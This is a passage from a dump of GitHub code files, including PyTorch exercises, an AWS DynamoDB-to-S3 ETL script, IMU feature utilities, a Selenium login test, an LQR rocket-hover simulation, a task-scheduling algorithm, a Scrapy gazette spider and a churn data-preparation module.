preds.cpu().detach().numpy()\n # predicted_labels.extend([list(nparr[i]) for i in range(len(nparr))])\n\n # test_labels_js = dataset_labels_to_names(predicted_labels, \"test\")\n\n # output_test_labels = \"test_set_predictions\"\n # output_salt_number = 0\n\n # output_label_dir = \".\"\n\n # while os.path.exists(os.path.join(output_label_dir, '%s%d.json' % (output_test_labels, output_salt_number))):\n # output_salt_number += 1\n # # Find a filename that doesn't exist\n \n\n # with open(os.path.join(output_label_dir, '%s%d.json' % (output_test_labels, output_salt_number)), \"w\") as f:\n # json.dump(test_labels_js, f, sort_keys=True, indent=4)\n\n# print(\"Wrote predictions to:\\n%s\" % os.path.abspath(os.path.join(output_label_dir, '%s%d.json' % (output_test_labels, output_salt_number))))\nget_prediction()","repo_name":"ivanasamy/where-am-i-mit","sub_path":"classify_mit.py","file_name":"classify_mit.py","file_ext":"py","file_size_in_byte":4616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"1458755256","text":"import torch\r\nimport numpy as np \r\nimport d2lzh_pytorch as d2l\r\nimport fashion_mnist\r\n\r\nbatch_size = 256\r\ntrain_iter, test_iter = fashion_mnist.load_data_fashion_mnist(batch_size)\r\n\r\nnum_inputs, num_outputs, num_hiddens = 784, 10, 256\r\n\r\nw1 = torch.tensor(np.random.normal(0, 0.01, (num_inputs, num_hiddens)), dtype=torch.float32)\r\nb1 = torch.zeros(num_hiddens, dtype=torch.float32)\r\n\r\nw2 = torch.tensor(np.random.normal(0, 0.01, (num_hiddens, num_outputs)), dtype=torch.float32)\r\nb2 = torch.zeros(num_outputs, dtype=torch.float32)\r\n\r\nparams = [w1, b1, w2, b2]\r\n\r\nfor param in params:\r\n param.requires_grad_(requires_grad = True)\r\n\r\ndef relu(x):\r\n return torch.max(input=x, other=torch.tensor(0.0))\r\n\r\ndef net(x):\r\n x = x.view(-1, num_inputs)\r\n h = relu(torch.matmul(x, w1) + b1)\r\n return torch.matmul(h, w2) + b2\r\n\r\nloss = torch.nn.CrossEntropyLoss()\r\n\r\n# 注:由于原书的mxnet中的SoftmaxCrossEntropyLoss在反向传播的时候相对于沿batch维求和了,\r\n# 而PyTorch默认的是求平均,所以用PyTorch计算得到的loss比mxnet小很多(大概是maxnet计算得到的1/batch_size这个量级),\r\n# 所以反向传播得到的梯度也小很多,所以为了得到差不多的学习效果,我们把学习率调得成原书的约batch_size倍,\r\n# 原书的学习率为0.5,这里设置成100.0。(之所以这么大,应该是因为d2lzh_pytorch里面的sgd函数在更新的时候除以了batch_size,\r\n# 其实PyTorch在计算loss的时候已经除过一次了,sgd这里应该不用除了)\r\nnum_epochs, lr = 5, 100.0\r\nd2l.train_ch3(net, train_iter, test_iter, loss, num_epochs, batch_size, params, lr)","repo_name":"briantccj/pytorch","sub_path":"Dive-into-DL-PyTorch/5_mlp-scratch.py","file_name":"5_mlp-scratch.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"11124202321","text":"import json\nimport traceback\nimport pandas as pd\nimport numpy as np\nimport boto3\nimport awswrangler as wr\nfrom collections.abc import Mapping, Iterable\nfrom decimal import Decimal\nfrom io import StringIO\nfrom pprint import pprint\n\nclient = boto3.client('glue')\nBucket_role = 'arn:aws:iam::239126490696:role/dev-data-lake-cms-conform-eu-west-1-239126490696-writer'\n\ndef write_dataframe_to_csv_on_s3(dataframe, filename):\n \"\"\" Write a dataframe to a CSV on S3 \"\"\"\n print(\"Writing {} records to {}\".format(len(dataframe), filename))\n # Create buffer\n csv_buffer = StringIO()\n # Write dataframe to buffer\n dataframe.to_csv(csv_buffer, sep=\",\", index=False)\n # Create S3 object\n boto3_session = get_session_for(Bucket_role)\n client = boto3_session.client('s3')\n #s3_resource = boto3_session.resource(\"s3\")\n # Write buffer to S3 object\n #s3_resource.Object(\"dev-data-lake-cms-conform-eu-west-1-239126490696\", filename).put(Body=csv_buffer.getvalue())\n client.put_object(Bucket='dev-data-lake-cms-conform-eu-west-1-239126490696', Key=filename,ACL=\"bucket-owner-full-control\")\n \ndef to_parquet(df, bucket, prefix, database, table):\n boto3_session = get_session_for(Bucket_role)\n databases = wr.catalog.databases(boto3_session=boto3_session)\n if database not in databases.values:\n wr.catalog.create_database(database)\n wr.s3.to_parquet(\n df=df,\n path=f\"s3://{bucket}/{prefix}/\",\n dataset=True,\n database=database,\n table=table,\n mode=\"append\",\n use_threads=True,\n boto3_session=boto3_session,\n s3_additional_kwargs={\"ACL\": \"bucket-owner-full-control\"},\n catalog_versioning=True,\n schema_evolution=True\n )\n \ndef dynamodb_to_pandas_dataframe(table_name):\n dynamodb = boto3.resource('dynamodb')\n table = dynamodb.Table(table_name)\n \n response = table.scan()\n \n print(response['Items'])\n \n df = pd.json_normalize(\n response['Items'],\n record_path = ['data'],\n meta = ['studycode','viewID#vendorshortname'])\n \n all_columns = list(df)\n df[all_columns] = df[all_columns].astype('string')\n \n lis = []\n \n for x in df.columns:\n lis.append(x)\n \n if 'SUBJECT' in lis:\n df.rename(columns = {'SUBJECT':'Subject_SAS'}, inplace = True)\n if 'Visit' in lis:\n df.rename(columns = {'Visit':'Visit_ecoA'}, inplace = True)\n \n \n print(df)\n print(df.columns)\n \n df.to_csv(r'D:\\data\\cms\\columns_output.csv')\n \n return df\n \ndef get_session_for(role):\n acct_b = boto3.client('sts').assume_role(RoleArn=role, RoleSessionName=\"cross_acct_lambda\")\n print(acct_b)\n session = boto3.Session(\n aws_access_key_id=acct_b['Credentials']['AccessKeyId'],\n aws_secret_access_key=acct_b['Credentials']['SecretAccessKey'],\n aws_session_token=acct_b['Credentials']['SessionToken'],\n )\n return session\n \nif __name__ == \"__main__\":\n #Step1 Loading DynamoDB data into S3:\n table_name = \"dev-ofr-datahub-cms-clinical-study-consolidation\"\n bucket = \"dev-data-lake-cms-conform-eu-west-1-239126490696\"\n prefix = \"dynamodb_data/studyconsolidationnorm\"\n database = \"dev_data_lake_cms_conform_glue_database\"\n table = \"study_consolidation_normalized\"\n \n df = dynamodb_to_pandas_dataframe(table_name)\n #write_dataframe_to_csv_on_s3(df,prefix)\n to_parquet(df,bucket,prefix,database,table)","repo_name":"Santhosh-5521/Configurable-ETL-Python-repo","sub_path":"Athena_DynamoDB_Normalized.py","file_name":"Athena_DynamoDB_Normalized.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"3329585698","text":"import numpy as np\nimport pandas as pd\nfrom scipy.spatial.transform import Rotation as R\nfrom scipy.signal import butter, lfilter, iirpeak, iirfilter\nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\nfrom globalVariables import sampleRate, samplePeriod, subSample\nfrom scipy.stats import kurtosis\n\nfrom CSV import getCsvData\n\n\ndef norm(vectorArray):\n normArray = []\n for row in vectorArray:\n normVal = np.linalg.norm(row)\n normArray.append(normVal)\n return np.array(normArray)\n\n\ndef butterFilter(data, cutoff, fs, type='low', order=2):\n b, a = butter(order, cutoff, fs=fs, btype=type, analog=False)\n y = lfilter(b, a, data)\n return y\n\n\ndef butterIIR(data, cutoff, fs, order=1):\n Wn = cutoff / fs\n b, a = iirfilter(order, Wn, btype='highpass', ftype='butter')\n y = lfilter(b, a, data)\n return y\n\n\ndef peakFilter(data, cutoff, Q, fs):\n b, a = iirpeak(cutoff, Q, fs)\n y = lfilter(b, a, data)\n return y\n\n\ndef VIF(data):\n # the calculation of variance inflation requires a constant\n #data['intercept'] = 0\n\n # create dataframe to store vif values\n vif = pd.DataFrame()\n vif[\"Variable\"] = data.columns\n vif[\"VIF\"] = [variance_inflation_factor(\n data.values, i) for i in range(data.shape[1])]\n return vif[vif['Variable'] != 'intercept']\n\n\ndef quat2cosHeight(quat):\n # Calculate waist vector relative to earth\n if quat.ndim == 2:\n quat = np.c_[quat[:,1], quat[:,2], quat[:,3], quat[:,0]]\n rot = R.from_quat(quat)\n cosHeightX = rot.apply([1, 0, 0])[:, 2]\n cosHeightY = rot.apply([0, 1, 0])[:, 2]\n cosHeightZ = rot.apply([0, 0, 1])[:, 2]\n elif quat.ndim == 1:\n quat = [quat[1], quat[2], quat[3], quat[0]]\n rot = R.from_quat(quat)\n cosHeightX = rot.apply([1, 0, 0])[2]\n cosHeightY = rot.apply([0, 1, 0])[2]\n cosHeightZ = rot.apply([0, 0, 1])[2]\n return np.array([cosHeightX, cosHeightY, cosHeightZ])\n\n\n\ndef poseFeature(data):\n if data.ndim == 2:\n feature = np.c_[\n quat2cosHeight(data[:, 6:10]).T,\n quat2cosHeight(data[:, 16:20]).T,\n quat2cosHeight(data[:, 26:30]).T\n ]\n else:\n feature = np.r_[\n quat2cosHeight(data[6:10]).T,\n quat2cosHeight(data[16:20]).T,\n quat2cosHeight(data[26:30]).T\n ]\n return feature\n\n\ndef generateDataFrame(filePaths, getFeature, headers=False):\n allData = np.array([])\n label = 0\n for filePath in filePaths:\n data = getCsvData(filePath)\n #label = filePath.split('/')[-1].split('.')[0]\n label = label + 1\n feature = getFeature(data)\n labels = [label] * len(data)\n data = np.c_[labels, feature]\n if allData.ndim == 1: allData = data\n else: allData = np.r_[ allData, data ]\n\n if headers == False: return pd.DataFrame(allData)\n else: return pd.DataFrame(allData, columns=headers)\n\n\ndef mirrorData(data):\n # Mirror about y axis\n #'''\n data[:, 1] = -data[:, 1]\n data[:, 4] = -data[:, 4]\n data[:, 7] = -data[:, 7]\n data[:, 9] = -data[:, 9]\n data[:, 11] = -data[:, 11]\n data[:, 14] = -data[:, 14]\n data[:, 17] = -data[:, 17]\n data[:, 19] = -data[:, 19]\n data[:, 21] = -data[:, 21]\n data[:, 24] = -data[:, 24]\n data[:, 27] = -data[:, 27]\n data[:, 29] = -data[:, 29]\n \n # Swap left and right leg\n #temp = data[:, 10:20]\n #data[:,10:20] = data[:,20:30]\n #data[:,20:30] = temp\n #'''\n return data\n\n\ndef motionFeature(data, subSample=1):\n dataHigh = butterIIR(data.T, 1, sampleRate/subSample, 2).T\n waistAccNorm = norm(dataHigh[:, 3:6])\n rightAccNorm = norm(dataHigh[:, 13:16])\n leftAccNorm = norm(dataHigh[:, 23:26])\n aveAccNorm = np.array([np.average(waistAccNorm), np.average(rightAccNorm), np.average(leftAccNorm)])\n aveAccEnergy = np.array([np.average(waistAccNorm**2), np.average(rightAccNorm**2), np.average(leftAccNorm**2)])\n\n orientationFeature = poseFeature(data)\n aveOrientationFeature = np.average(orientationFeature, axis=0)\n\n waistGyro = data[0:3, :]\n rightGyro = data[10:13, :]\n leftGyro = data[20:23, :]\n gyro = np.r_[ waistGyro, rightGyro, leftGyro]\n\n gyroNorm = np.r_[norm(waistGyro), norm(rightGyro), norm(leftGyro)]\n #waistAcc = data[:, [3, 4, 5]]\n #rightAcc = data[:, [13, 14, 15]]\n #leftAcc = data[:, [23, 24, 25]]\n\n #dataLength = len(data)\n feature = np.r_[\n orientationFeature[0,:],\n orientationFeature[-1,:],\n aveOrientationFeature,\n #np.max(orientationFeature, axis=0),\n np.min(orientationFeature, axis=0),\n aveAccNorm,\n np.average(gyro, axis=0),\n np.sum(aveAccEnergy),\n np.average(gyroNorm, axis=0),\n #kurtosis(waistAccNorm),\n #kurtosis(rightAccNorm),\n #kurtosis(leftAccNorm),\n ]\n return feature","repo_name":"MengLinMaker/Hip-Motion-Player","sub_path":"python/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":4564,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"41466060094","text":"#coding=utf8\n'''\nCreated on Dec 26, 2016\n\n@author: Administrator\n'''\nimport unittest\n\nfrom selenium import webdriver\nfrom time import sleep\n\n\nclass Test(unittest.TestCase):\n '''test2 class'''\n\n def setUp(self):\n self.x = webdriver.Firefox()\n self.x.implicitly_wait(20)\n self.x.get(\"http://web.sns.movnow.com/ht/login.php\")\n\n def tearDown(self):\n \n self.x.quit() \n \n def testName(self):\n '''test2 testname'''\n self.x.find_element_by_name(\"username\").send_keys(\"admin\")\n self.x.find_element_by_name(\"password\").send_keys(\"1234\")\n sleep(1)\n self.x.find_element_by_id(\"btn-login\").click()\n sleep(1)\n try:\n b = self.x.switch_to.alert\n print(b.text)\n print(\"login for test is err err\")\n except:\n print(\"login for test get exception\")\n \n self.x.save_screenshot(\"test2.png\")\n self.x.get_screenshot_as_file('F:/workspace/python.hello/test.png')\n sleep(2)\n b.accept()\n sleep(2)\n \nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n unittest.main()","repo_name":"shangdan1987/workspace","sub_path":"flask_try/test_case/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"3240207839","text":"from numpy import *;\nfrom matplotlib import pyplot as plt;\nfrom matplotlib import animation;\nimport matplotlib;\nimport control;\n#matplotlib.use('Agg');\nimport slycot;\n\n# Set up formatting for the movie files\n#Writer = animation.writers['ffmpeg']\n#writer = Writer(fps=30, metadata=dict(artist='Me'), bitrate=1800)\n\n# ===== INFORMATION =====\n# 2D only for now (3DOF)\n\n\n# ===== MODEL SETUP =====\n\n# Physical Parameters\nm = 10; # kg, vehicle mass\ns = .30; # m, vehicle side length (cubic)\nvol = s**3; # m^3, total vehicle volume\ng = 9.81; # m/s^2, gravitational acceleration\nF_max = 2 * m * g; # max accel is +/- 1g\nd = s / 2; # distance from thrust origin to COM\nI = 1 / 6* m * s**2; # kg-m^2, in-plane rotational inertia\n\n\n# ===== LINEARIZED STATE-SPACE FORMULATION =====\n\n# linearized approximation (upright hovering equilibrium)\n# we have an augmented state var, with g. This is an uncontrollable\n# variable, so we exclude it from the controller design\n\nA = array([[0, 0, 0, 1, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 0, 1, 0],\n [0, 0, -g, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0]]);\n\nB = array([[0, 0],\n [0, 0],\n [0, 0],\n [0, -g],\n [1, 0],\n [0, -m*g*d/I],\n [0, 0]]);\n\nC = eye(7);\nD = zeros((7, 2));\n\ncontrollability_rank = linalg.matrix_rank(control.ctrb(A, B)); # should be 6!\nprint(controllability_rank)\n\n# ===== CONTROLLER DESIGN =====\n\n# now let's wrap a simple controller around this to move from one point to another.\n\nQ = array([[1, 0, 0, 0, 0, 0],\n [0, 1, 0, 0, 0, 0],\n [0, 0, 10000, 0, 0, 0],\n [0, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 1, 0],\n [0, 0, 0, 0, 0, 1]]);\n\nR = array([[100, 0],\n [0, 1000000]]);\n\n\nK, S, E = control.lqr(A[0:6, 0:6], B[0:6, :], Q, R);\n\n# u = -K*(x_current - x_desired)\n\n# now K is our gain matrix\n# we have to append a 0 onto the end to account for our additional DC augmented var (gravity)\n\ntoAdd = array([[0], [0]]);\n\n\nK = hstack((K, toAdd));\n\n\ntest = 1;\n\n\n# ===== SIMULATION CONFIGURATION =====\n# point to point movement\n\nsim_time = 20; # seconds\ndt = .010; # seconds\nf = 1/dt; # Hz\nsim_length = int(sim_time/dt);\ntime_vector = linspace(0, sim_time, int(sim_time/dt));\n\n# Vehicle state denoted by x, y, theta, xdot, ydot, thetadot (m, rad)\n# Vehicle control denoted by throttle (0-1), TVC angle, rad (assume instantaneous TVC tracking)\n\nstate_array = zeros((sim_length, 7));\ncontrol_array = zeros((sim_length, 2));\ntraj_array = zeros((sim_length, 7));\n\nstate_array[0, :] = array([0, 0, 0, 0, 0, 0, 0]);\ncontrol_array[0, :] = array([1, 0]);\n\n\n\n# triangle-wave control thrust value\ncontrol_array[0:int(sim_length/4), 0] = F_max-m*g;\ncontrol_array[int(sim_length/4):2*int(sim_length/4), 0] = 0 - m*g;\ncontrol_array[2*int(sim_length/4):sim_length, 0] = m*g - m*g;\n\n# TVC angle actuation\n#control_array[:, 1] = deg2rad(random.randn()*.05); # rad\ncontrol_array[:, 1] = 0;\n\n\nx1 = 0;\ny1 = 0;\nx2 = 100;\ny2 = 100;\n\nz_initial = array([[x1],\n [y1],\n [0],\n [0],\n [0],\n [0],\n [g]]);\n\nz_final = array([[x2],\n [y2],\n [0],\n [0],\n [0],\n [0],\n [g]]);\n\n\nstate_array[0, :] = z_initial.T;\n\ntest = 1;\n\n# ===== SIMULATION! =====\n# linear and non-linear state evolution (simulation)\n\nfor i in range(1, sim_length):\n\n # hard-coded control efforts\n Ft = control_array[i-1, 0];\n phi = control_array[i-1, 1];\n\n state_prev = array(state_array[i-1, :]);\n state_prev = state_prev[newaxis, :];\n #theta = state_array[i-1, 2];\n\n # LQR control efforts\n if i < sim_length/2:\n traj_ref = 2*i/sim_length*(z_final - z_initial) + z_initial;\n else:\n traj_ref = z_final;\n\n\n u = -K @ (state_prev - z_final.T).T; # LQR finds 'optimal path' for point-to-point\n #u = -K @ (state_prev.T - traj_ref); # we impose the trajectory here, could be from a non-lin optimizer for ex.\n\n\n\n # Non-linear simulation\n # dz = array([ state_array[i-1, 3],\n # state_array[i-1, 4],\n # state_array[i-1, 5],\n # (-Ft*sin(theta + phi))/m,\n # (Ft*cos(theta + phi) - m*g)/m,\n # -Ft*sin(phi)*d/I\n # ]);\n #\n # deltaz = dz*dt;\n\n state_prev_t = state_prev.T;\n # Linear simulation, only valid about upright hovering equilbria (arbitrary (x,y) allowed).\n #dz = A @ state_array[i-1, :] + B @ control_array[i-1, :]; # manual control effort\n dz = A @ (state_prev_t) + B @ u; # LQR control effort\n deltaz = dz*dt;\n\n\n\n state_array[i, :] = state_prev + deltaz.T;\n traj_array[i, :] = traj_ref.T;\n control_array[i, :] = u.T;\n\n # for now the control array is OL\n\n # if state_array[i, 1] < 0:\n # state_array[i, 1] = 0;\n\n\ntest = 2;\n\n\n# ===== DIAGNOSTIC PLOTS =====\n\n# Plot control effort\nfig0 = plt.figure();\n\ncolor = 'tab:blue'\nax0 = plt.axes();\nax0.plot(time_vector, (control_array[:, 0])/(m*g)+.5, color = color)\nax0.set_ylabel(\"Normalized Thrust (0-1)\")\nax0.set_xlabel(\"Time [s]\");\nax0.legend([\"Thrust\"], loc=2)\nax0.set_title(\"Control Effort\");\n\ncolor = 'tab:red'\nax1 = ax0.twinx();\nax1.plot(time_vector, rad2deg(control_array[:, 1]), color = color);\nax1.set_ylabel(\"Thrust Vector Angle [deg]\");\n\nax1.legend([\"TVC Angle\"], loc=1)\n\n# Plot errors\nfig1 = plt.figure();\n\ncolor = 'tab:blue'\nax0 = plt.axes();\nax0.plot(time_vector, (traj_array[:, 0] - state_array[:, 0]), color = color)\nax0.set_ylabel(\"X-Error [m]\")\nax0.set_xlabel(\"Time [s]\");\nax0.legend([\"X\"], loc=2)\nax0.set_title(\"Trajectory Errors\");\n\ncolor = 'tab:red'\nax1 = ax0.twinx();\nax1.plot(time_vector, (traj_array[:, 1] - state_array[:, 1]), color = color);\nax1.set_ylabel(\"Y-Error [m]\");\n\nax1.legend([\"Y\"], loc=1)\n\n\n\n\n\n\n# ===== TRAJECTORY ANIMATION =====\n\nfig = plt.figure()\n\nfig.set_dpi(100)\n#fig.set_size_inches(6, 6)\n\nax = plt.axes(xlim=(-100, 100), ylim=(0, 100))\nplt.axis('equal')\n#patch = plt.Circle((5, -5), 0.75, fc='y')\n\npatch_width = 5;\nline_length = 5;\nvehicle = plt.Rectangle((0, 0), patch_width, patch_width, 0.0, color='blue') # vehicle\nthrust = plt.Line2D((0, 0), (0, -10), lw=3, color = 'red'); # thrust vector\n\ndef init():\n ax.clear();\n ax.add_patch(vehicle)\n ax.add_line(thrust)\n ax.plot(state_array[:, 0], state_array[:, 1], lw = .5, color='black');\n ax.plot(traj_array[:, 0], traj_array[:, 1], lw = .5, color = 'green');\n ax.set_xlabel(\"Range Position [m]\");\n ax.set_ylabel(\"Altitude [m]\");\n ax.set_title(\"Point-to-Point Tracking\");\n\n return []\n\ndef animationController(i, vehicle, thrust):\n\n animatePatch(i, vehicle);\n animateLine(i, thrust);\n return [];\n\n\n\ndef animatePatch(i, patch):\n x = state_array[i, 0];\n y = state_array[i, 1];\n th = state_array[i, 2];\n\n\n patch.set_xy((x - patch_width/2*sqrt(2)*cos(pi/4+th), y - patch_width/2*sqrt(2)*sin(pi/4+th)));\n patch.angle = rad2deg(th);\n\n return patch,\n\ndef animateLine(i, line):\n throttle = control_array[i, 0] + m*g;\n phi = control_array[i, 1]; # 20x just to exaggerate thrust vector\n\n x = state_array[i, 0];\n y = state_array[i, 1];\n th = state_array[i, 2];\n\n line_length = throttle/(m*g) * 5;\n\n line.set_xdata([x + patch_width/2*sin(th), x + patch_width/2*sin(th) + line_length*sin(th+phi)]);\n line.set_ydata([y - patch_width/2*cos(th), y - patch_width/2*cos(th) - line_length*cos(th+phi)]);\n\n return line,\n\nanim = animation.FuncAnimation(fig, animationController,\n init_func=init,\n frames=sim_length,\n fargs=(vehicle, thrust,),\n interval=2,\n blit=True,\n repeat=True)\n\nplt.show()\n\n# print(matplotlib.matplotlib_fname());\n# print(\"saving...\");\n# anim.save('hover.mp4', writer=writer)\n# #anim.save('~/PycharmProjects/2d_propulsive_control/animation.g`if`', writer='imagemagick', fps=30);\n# print(\"saved!\")\n\n#print(state_array)\nprint(\"var explorer debug\");","repo_name":"rkaggarwal/pyHopper","sub_path":"hop_test_v2.py","file_name":"hop_test_v2.py","file_ext":"py","file_size_in_byte":8212,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"40556786217","text":"\"\"\"小Q的公司最近接到m个任务, 第i个任务需要xi的时间去完成, 难度等级为yi。\n小Q拥有n台机器, 每台机器最长工作时间zi, 机器等级wi。\n对于一个任务,它只能交由一台机器来完成, 如果安排给它的机器的最长工作时间小于任务需要的时间, 则不能完成,如果完成这个任务\n将获得200 * xi + 3 * yi收益。\n对于一台机器,它一天只能完成一个任务, 如果它的机器等级小于安排给它的任务难度等级, 则不能完成。\n小Q想在今天尽可能的去完成任务, 即完成的任务数量最大。如果有多种安排方案,小Q还想找到收益最大的那个方案。小Q需要你来帮助他计算一下。\n\n输入描述:\n输入包括N + M + 1行,\n输入的第一行为两个正整数n和m(1 <= n, m <= 100000), 表示机器的数量和任务的数量。\n接下来n行,每行两个整数zi和wi(0 < zi < 1000, 0 <= wi <= 100), 表示每台机器的最大工作时间和机器等级。\n接下来的m行,每行两个整数xi和yi(0 < xi < 1000, 0 <= yi<= 100), 表示每个任务需要的完成时间和任务的难度等级。\n输出描述:\n输出两个整数, 分别表示最大能完成的任务数量和获取的收益。\n\n输入例子1:\n1 2\n100 3\n100 2\n100 1\n输出例子1:\n1 20006\n\"\"\"\n\n\nclass node(): # 定义一个节点包含time和level属性(可用于排序:也可直接用 元组(time, level)排序)\n def __init__(self, time, level):\n self.time = time\n self.level = level\nimport sys\nline = list(map(int, list(sys.stdin.readline().strip().split(' '))))\nmachineNum, jobNum = line[0], line[1] # 读取第一行获取机器数量和任务数量\nmachines, jobs = [], []\nfor i in range(machineNum): # 读取每台机器的最大工作时间和机器等级\n time, level = list(map(int, list(sys.stdin.readline().strip().split(' '))))\n machines.append(node(time, level))\nfor j in range(jobNum): # 读取每个任务需要的完成时间和任务的难度系数\n time, level = list(map(int, list(sys.stdin.readline().strip().split(' '))))\n jobs.append(node(time, level))\nmachines.sort(key=lambda x: (x.time, x.level), reverse=True) # 根据时间time 以及 level属性 排序\njobs.sort(key=lambda x: (x.time, x.level), reverse=True)\n\nprofit, count, level = 0, 0, [0] * 101 # 定义任务数量和收益\nj = 0 # 对job根据时间排序,先完成时间大的收益更多;对符合条件的机器选择最接近的level\nfor i in range(jobNum): # 循环选取时间最大的job\n while j < machineNum and machines[j].time >= jobs[i].time: # 在时间条件(机器时间>任务时间)满足的情况下\n level[machines[j].level] += 1\n j += 1\n for k in range(jobs[i].level, 101): # 针对某个任务,对符合条件的机器列表 选取能完成此任务的最低配机器(能完成任务就行)\n if level[k]: # 选择最近的level,因为该level所在的机器的 time属性更大\n level[k] -= 1\n count += 1\n profit += 200 * jobs[i].time + 3 * jobs[i].level # 以job的两个属性计算收益,且time属性作用 > level属性\n break\nprint(count, profit)\n\n\n","repo_name":"cp4011/Algorithms","sub_path":"Examination/17_安排机器.py","file_name":"17_安排机器.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"8678513589","text":"import datetime as dt\n\nimport dateparser\nfrom dateutil.rrule import MONTHLY, rrule\n\nfrom gazette.items import Gazette\nfrom gazette.spiders.base import BaseGazetteSpider\n\n\nclass RsPortoAlegreSpider(BaseGazetteSpider):\n TERRITORY_ID = \"4314902\"\n name = \"rs_porto_alegre\"\n allowed_domains = [\"portoalegre.rs.gov.br\"]\n start_urls = [\"http://www2.portoalegre.rs.gov.br/dopa/\"]\n start_date = dt.date(2003, 9, 3)\n\n custom_settings = {\"CONCURRENT_REQUESTS\": 8}\n\n def parse(self, response):\n menu_years = response.css(\"ul#menucss > li\")\n for menu_year in menu_years:\n menu_months = menu_year.xpath(\"./ul/li[not(contains(a/text(), 'Diário'))]\")\n months_links = self._filter_months_of_interest(menu_months)\n yield from response.follow_all(months_links, callback=self.parse_month_page)\n\n def parse_month_page(self, response):\n editions = response.css(\"#conteudo a[href$='.pdf']:not(.gbox)\")\n for edition in editions:\n text = edition.css(\"::text\")\n date = self._extract_date(text)\n\n if date is None:\n continue\n\n if not self.start_date <= date <= self.end_date:\n continue\n\n is_extra_edition = \"extra\" in text.get().lower()\n url = response.urljoin(edition.attrib[\"href\"])\n power = self._get_power_from_url(url)\n\n yield Gazette(\n date=date,\n file_urls=[url],\n is_extra_edition=is_extra_edition,\n power=power,\n )\n\n def _filter_months_of_interest(self, month_elements):\n # avoid skipping months if day of start_date is at the end of the month\n first_day_of_start_date_month = dt.date(\n self.start_date.year, self.start_date.month, 1\n )\n months_of_interest = list(\n rrule(MONTHLY, dtstart=first_day_of_start_date_month, until=self.end_date)\n )\n for month, month_element in enumerate(month_elements, start=1):\n year = int(month_element.css(\"a::text\").re_first(r\"\\d{4}\"))\n href = month_element.css(\"a\").attrib[\"href\"]\n month_date = dt.datetime(year, month, 1)\n if month_date in months_of_interest:\n yield href\n\n def _extract_date(self, text):\n common_pattern = text.re_first(r\"\\d+/\\d+/\\d+\")\n full_written_pattern = text.re_first(r\"\\d{1,2}º?\\s+de[\\w\\s]+\\d{4}\")\n marco_2010_pattern = text.re_first(r\"marco2010[_\\s]+(\\d{2})marco10\")\n\n if common_pattern:\n return dt.datetime.strptime(common_pattern, \"%d/%m/%Y\").date()\n elif full_written_pattern:\n full_written_pattern = full_written_pattern.replace(\"º\", \"\")\n return dateparser.parse(full_written_pattern, languages=[\"pt\"]).date()\n elif marco_2010_pattern:\n day = int(marco_2010_pattern)\n return dt.date(2010, 3, day)\n\n def _get_power_from_url(self, url):\n if \"executivo\" in url.lower():\n power = \"executive\"\n elif \"legislativo\" in url.lower():\n power = \"legislative\"\n else:\n power = \"executive_legislative\"\n return power\n","repo_name":"okfn-brasil/querido-diario","sub_path":"data_collection/gazette/spiders/rs/rs_porto_alegre.py","file_name":"rs_porto_alegre.py","file_ext":"py","file_size_in_byte":3214,"program_lang":"python","lang":"en","doc_type":"code","stars":922,"dataset":"github-code","pt":"27"} +{"seq_id":"15717156746","text":"\"\"\"\n Module containing auxiliary functions for data preparation and model training.\n Authors: Anastasia Prokaieva & Rafael V. Pierre\n\"\"\"\n\n\nimport tempfile\nimport os\nimport pickle\n\nimport numpy as np\nimport pandas as pd\nimport pyspark.sql.functions as F\nfrom pyspark.sql import SparkSession\nfrom sklearn.utils.class_weight import compute_class_weight\n\n\ndef stratified_split_train_test(df, label, join_on, seed=42, frac=0.1):\n \"\"\"\n Stratfied split of a Spark DataDrame into a Train and Test sets\n \"\"\"\n fractions = (\n df.select(label)\n .distinct()\n .withColumn(\"fraction\", F.lit(frac))\n .rdd.collectAsMap()\n )\n df_frac = df.stat.sampleBy(label, fractions, seed)\n df_remaining = df.join(df_frac, on=join_on, how=\"left_anti\")\n return df_frac, df_remaining\n\n\ndef prepare_features(sparkDF):\n # 0/1 -> boolean\n sparkDF = sparkDF.withColumn(\"SeniorCitizen\", F.col(\"SeniorCitizen\") == 1)\n # Yes/No -> boolean\n for yes_no_col in [\"Partner\", \"Dependents\", \"PhoneService\", \"PaperlessBilling\"]:\n sparkDF = sparkDF.withColumn(yes_no_col, F.col(yes_no_col) == \"Yes\")\n sparkDF = sparkDF.withColumn(\n \"Churn\", F.when(F.col(\"Churn\") == \"Yes\", 1).otherwise(0)\n )\n\n # Contract categorical -> duration in months\n sparkDF = sparkDF.withColumn(\n \"Contract\",\n F.when(F.col(\"Contract\") == \"Month-to-month\", 1)\n .when(F.col(\"Contract\") == \"One year\", 12)\n .when(F.col(\"Contract\") == \"Two year\", 24),\n )\n\n # Converting no Internet options into negative values\n for icol in [\n \"OnlineSecurity\",\n \"OnlineBackup\",\n \"DeviceProtection\",\n \"TechSupport\",\n \"StreamingTV\",\n \"StreamingMovies\",\n ]:\n sparkDF = sparkDF.withColumn(\n str(icol),\n (\n F.when(F.col(icol) == \"Yes\", 1)\n .when(F.col(icol) == \"No internet service\", -1)\n .otherwise(0)\n ),\n )\n\n sparkDF = sparkDF.withColumn(\n \"MultipleLines\",\n (\n F.when(F.col(\"MultipleLines\") == \"Yes\", 1)\n .when(F.col(\"MultipleLines\") == \"No 